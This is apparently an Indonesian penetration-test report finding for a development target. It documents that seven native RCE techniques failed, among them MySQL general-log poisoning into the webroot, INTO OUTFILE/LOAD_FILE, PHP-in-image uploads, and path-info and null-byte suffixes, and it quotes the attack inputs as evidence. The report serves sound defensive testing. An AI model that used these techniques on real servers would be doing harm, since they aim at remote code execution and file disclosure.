Deskripsi: Seluruh upaya RCE memakai kerentanan native (tanpa backdoor/Adminer) diuji dan terblokir: (1) general log poisoning — SET GLOBAL sukses tapi file tak muncul di webroot → container MySQL & PHP TIDAK share volume; (2) INTO OUTFILE — secure_file_priv=/var/lib/mysql-files/ dan PHP tak dapat membaca path tsb (LFI ENOENT); (3) upload .php — whitelist 9 ekstensi di semua 11 handler; (4) upload .jpg ber-PHP — disajikan statis (403 FPM limit_extensions); (5) path-info cgi.fix_pathinfo — nginx tidak route (404); (6) double-ext/null-byte — 404/400; (7) LFI → include selalu append .php. Positif: hardening arsitektur ini mencegah RCE native.
Bukti (Evidence):
SET GLOBAL general_log_file='/var/www/html/svlk/page/glogtest.php' → SUCCESS, file → 404 (beda container)
LOAD_FILE('/var/www/html/svlk/index.php') → NULL (secure_file_priv)
GET /files_rekap/REKAP_LMK__202607.jpg → 200 statis (bukan eksekusi)
GET /files_rekap/REKAP_LMK__202607.jpg/x.php → 404; …jpg.php → 404; …%00.php → 400
Dampak (Impact):
Rekomendasi: Pertahankan pemisahan container; lanjutkan whitelist; pasang WAF; tetap patchnya komponen.
Referensi:
Skala Severity:
| Level | Deskripsi |
|---|---|
| CRITICAL | Eksploitasi langsung memberikan akses penuh (RCE/root DB/data breach massal) tanpa prasyarat berarti. Wajib ditangani segera (≤7 hari). |
| HIGH | Kerentanan serius dengan dampak besar (source disclosure, password reversible, arbitrary write) namun prasyarat tertentu. |
| MEDIUM | Dampak terbatas atau membutuhkan interaksi/kondisi khusus. |
| LOW | Dampak kecil; masih perlu diperbaiki. |
| INFO | Informasi umum / hasil positif (hardening berfungsi). |
Laporan ini disusun berdasarkan hasil pengujian pada rentang waktu yang tercantum dan mencerminkan kondisi target pada saat pengujian. Informasi di dalamnya bersifat rahasia dan hanya untuk konsumsi internal tim keamanan PT. Sucofindo serta pihak yang berwenang. Perubahan pada aplikasi, server, atau konfigurasi setelah periode pengujian dapat mengubah status temuan. Pengujian dilakukan pada lingkungan development/simulasi (silk.sucofindo.dev) dengan pendekatan yang meminimalkan dampak; artefak tes (file upload, marker database) diidentifikasi dalam laporan untuk dibersihkan oleh tim terkait.